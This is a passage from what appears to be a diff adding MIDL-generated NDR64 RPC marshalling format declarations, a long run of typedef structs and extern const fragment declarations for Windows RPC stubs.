struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1976_t; +extern const __midl_frag1976_t __midl_frag1976; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1971_t; +extern const __midl_frag1971_t __midl_frag1971; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1970_t; +extern const __midl_frag1970_t __midl_frag1970; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1969_t; +extern const __midl_frag1969_t __midl_frag1969; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1965_t; +extern const __midl_frag1965_t __midl_frag1965; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1955_t; +extern const __midl_frag1955_t __midl_frag1955; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1948_t; +extern const __midl_frag1948_t __midl_frag1948; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1942_t; +extern const __midl_frag1942_t __midl_frag1942; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1925_t; +extern const __midl_frag1925_t __midl_frag1925; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1921_t; +extern const __midl_frag1921_t __midl_frag1921; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1920_t; +extern const __midl_frag1920_t __midl_frag1920; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1918_t; +extern const __midl_frag1918_t __midl_frag1918; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1914_t; +extern const __midl_frag1914_t __midl_frag1914; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1913_t; +extern const __midl_frag1913_t __midl_frag1913; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1912_t; +extern const __midl_frag1912_t __midl_frag1912; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1908_t; +extern const __midl_frag1908_t __midl_frag1908; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1907_t; +extern const __midl_frag1907_t __midl_frag1907; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1906_t; +extern const __midl_frag1906_t __midl_frag1906; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1905_t; +extern const __midl_frag1905_t __midl_frag1905; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1904_t; +extern const __midl_frag1904_t __midl_frag1904; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1903_t; +extern const __midl_frag1903_t __midl_frag1903; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1902_t; +extern const __midl_frag1902_t __midl_frag1902; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1896_t; +extern const __midl_frag1896_t __midl_frag1896; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1895_t; +extern const __midl_frag1895_t __midl_frag1895; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1894_t; +extern const __midl_frag1894_t __midl_frag1894; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1891_t; +extern const __midl_frag1891_t __midl_frag1891; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1890_t; +extern const __midl_frag1890_t __midl_frag1890; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1889_t; +extern const __midl_frag1889_t __midl_frag1889; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1886_t; +extern const __midl_frag1886_t __midl_frag1886; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1885_t; +extern const __midl_frag1885_t __midl_frag1885; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1884_t; +extern const __midl_frag1884_t __midl_frag1884; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1883_t; +extern const __midl_frag1883_t __midl_frag1883; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1879_t; +extern const __midl_frag1879_t __midl_frag1879; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1878_t; +extern const __midl_frag1878_t __midl_frag1878; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1877_t; +extern const __midl_frag1877_t __midl_frag1877; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + NDR64_UINT32 frag8; +} +__midl_frag1876_t; +extern const __midl_frag1876_t __midl_frag1876; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1875_t; +extern const __midl_frag1875_t __midl_frag1875; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1874_t; +extern const __midl_frag1874_t __midl_frag1874; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1873_t; +extern const __midl_frag1873_t __midl_frag1873; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1871_t; +extern const __midl_frag1871_t __midl_frag1871; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1867_t; +extern const __midl_frag1867_t __midl_frag1867; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1866_t; +extern const __midl_frag1866_t __midl_frag1866; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag1864_t; +extern const __midl_frag1864_t __midl_frag1864; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1863_t; +extern const __midl_frag1863_t __midl_frag1863; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1862_t; +extern const __midl_frag1862_t __midl_frag1862; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1861_t; +extern const __midl_frag1861_t __midl_frag1861; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1859_t; +extern const __midl_frag1859_t __midl_frag1859; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1849_t; +extern const __midl_frag1849_t __midl_frag1849; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1843_t; +extern const __midl_frag1843_t __midl_frag1843; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1839_t; +extern const __midl_frag1839_t __midl_frag1839; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1838_t; +extern const __midl_frag1838_t __midl_frag1838; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1837_t; +extern const __midl_frag1837_t __midl_frag1837; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1836_t; +extern const __midl_frag1836_t __midl_frag1836; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag1832_t; +extern const __midl_frag1832_t __midl_frag1832; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag1828_t; +extern const __midl_frag1828_t __midl_frag1828; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1826_t; +extern const __midl_frag1826_t __midl_frag1826; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1825_t; +extern const __midl_frag1825_t __midl_frag1825; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1817_t; +extern const __midl_frag1817_t __midl_frag1817; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1810_t; +extern const __midl_frag1810_t __midl_frag1810; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1805_t; +extern const __midl_frag1805_t __midl_frag1805; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1799_t; +extern const __midl_frag1799_t __midl_frag1799; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1794_t; +extern const __midl_frag1794_t __midl_frag1794; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1787_t; +extern const __midl_frag1787_t __midl_frag1787; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1783_t; +extern const __midl_frag1783_t __midl_frag1783; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1782_t; +extern const __midl_frag1782_t __midl_frag1782; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1781_t; +extern const __midl_frag1781_t __midl_frag1781; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1779_t; +extern const __midl_frag1779_t __midl_frag1779; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1770_t; +extern const __midl_frag1770_t __midl_frag1770; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1769_t; +extern const __midl_frag1769_t __midl_frag1769; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1768_t; +extern const __midl_frag1768_t __midl_frag1768; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; + struct _NDR64_PARAM_FORMAT frag13; + struct _NDR64_PARAM_FORMAT frag14; +} +__midl_frag1761_t; +extern const __midl_frag1761_t __midl_frag1761; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1749_t; +extern const __midl_frag1749_t __midl_frag1749; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1746_t; +extern const __midl_frag1746_t __midl_frag1746; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1742_t; +extern const __midl_frag1742_t __midl_frag1742; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1735_t; +extern const __midl_frag1735_t __midl_frag1735; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1725_t; +extern const __midl_frag1725_t __midl_frag1725; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1721_t; +extern const __midl_frag1721_t __midl_frag1721; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1720_t; +extern const __midl_frag1720_t __midl_frag1720; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1719_t; +extern const __midl_frag1719_t __midl_frag1719; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1718_t; +extern const __midl_frag1718_t __midl_frag1718; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1717_t; +extern const __midl_frag1717_t __midl_frag1717; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1716_t; +extern const __midl_frag1716_t __midl_frag1716; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1715_t; +extern const __midl_frag1715_t __midl_frag1715; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + NDR64_UINT32 frag6; +} +__midl_frag1713_t; +extern const __midl_frag1713_t __midl_frag1713; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1712_t; +extern const __midl_frag1712_t __midl_frag1712; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1711_t; +extern const __midl_frag1711_t __midl_frag1711; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1710_t; +extern const __midl_frag1710_t __midl_frag1710; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1708_t; +extern const __midl_frag1708_t __midl_frag1708; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1702_t; +extern const __midl_frag1702_t __midl_frag1702; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1697_t; +extern const __midl_frag1697_t __midl_frag1697; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1690_t; +extern const __midl_frag1690_t __midl_frag1690; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1673_t; +extern const __midl_frag1673_t __midl_frag1673; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1662_t; +extern const __midl_frag1662_t __midl_frag1662; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1661_t; +extern const __midl_frag1661_t __midl_frag1661; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1660_t; +extern const __midl_frag1660_t __midl_frag1660; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1659_t; +extern const __midl_frag1659_t __midl_frag1659; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag1657_t; +extern const __midl_frag1657_t __midl_frag1657; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1652_t; +extern const __midl_frag1652_t __midl_frag1652; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1645_t; +extern const __midl_frag1645_t __midl_frag1645; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1641_t; +extern const __midl_frag1641_t __midl_frag1641; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1640_t; +extern const __midl_frag1640_t __midl_frag1640; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1639_t; +extern const __midl_frag1639_t __midl_frag1639; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} 